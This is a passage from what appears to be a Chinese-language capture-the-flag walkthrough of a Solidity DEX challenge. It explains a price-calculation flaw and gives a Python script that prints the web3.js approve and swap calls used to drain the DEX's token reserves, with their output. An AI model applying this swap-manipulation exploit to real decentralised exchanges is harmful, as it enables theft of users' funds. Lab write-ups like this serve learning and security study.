        return IERC20(token).balanceOf(account);
    }
}

contract SwappableToken is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}

開始觀察:

  1. 主合約是一個平台,可以處理兩種token間的交易與轉換
  2. 是ERC20的Token,可以調用approve的方法允許平台操作屬於你的token
  3. swap price 為目前兩種 token 間的比值,交換後平台會去平衡兩種 token 的數量確保一樣(所以其實是跟平台換)
    重點在第三點,swap price參考的比值是交易前的,顯然會出問題qq

攻擊流程:
不斷的把手上的其中一個全部換成另一者,簡單的數學觀察就能證明最後所有的錢都會歸自己所有(因為會不斷增加)
注意一下solidity這邊是用int去算ㄉXD
小小python腳本

contract=[100, 100]
my_wallet=[10, 10]
cnt=0

def swap(x):
    if x==0:
        cur=my_wallet[1]
        my_wallet[0]+=int(my_wallet[1]*contract[0]/contract[1]);my_wallet[1]=0
        contract[0]=110-my_wallet[0];contract[1]=110-my_wallet[1]
    else:
        cur=my_wallet[0]
        my_wallet[1]+=int(my_wallet[0]*contract[1]/contract[0]);my_wallet[0]=0
        contract[0]=110-my_wallet[0];contract[1]=110-my_wallet[1]
    return cur

print("token1='0xfc6718163d6EA3A11F21f6F5375FAD1C74b08013';")
print("token2='0xba28436F3a6EE03CC175D0754Acf24fBD558cb64';")
print("await contract.approve('0xFD031384FCbdc29865b2F50ED9b3cEa3CD572494', 200);")
while contract[0]*contract[1]>0:
    cnt+=1
    amount=swap(cnt%2)
    print(f"//[*] Current: {cnt} times of swap, data: {my_wallet}")
    print(f"await contract.swap(token{2-cnt%2}, token{2-(cnt+1)%2}, {amount});")

輸出結果:

token1='0xfc6718163d6EA3A11F21f6F5375FAD1C74b08013';
token2='0xba28436F3a6EE03CC175D0754Acf24fBD558cb64';
await contract.approve('0xFD031384FCbdc29865b2F50ED9b3cEa3CD572494', 200);
//[*] Current: 1 times of swap, data: [0, 20]
await contract.swap(token1, token2, 10);
//[*] Current: 2 times of swap, data: [24, 0]
await contract.swap(token2, token1, 20);
//[*] Current: 3 times of swap, data: [0, 30]
await contract.swap(token1, token2, 24);
//[*] Current: 4 times of swap, data: [41, 0]
await contract.swap(token2, token1, 30);
//[*] Current: 5 times of swap, data: [0, 65]
await contract.swap(token1, token2, 41);
//[*] Current: 6 times of swap, data: [158, 0]
await contract.swap(token2, token1, 65);

小注意,最後一個因為並沒有 158 個 token1,所以要改成轉45個token出去換就好
最後一行改成await contract.swap(token2, token1, 45);
P.S. 沒有 await 所有交易會撞在一起,然後我太懶惰所以直接用f12的web3.js tool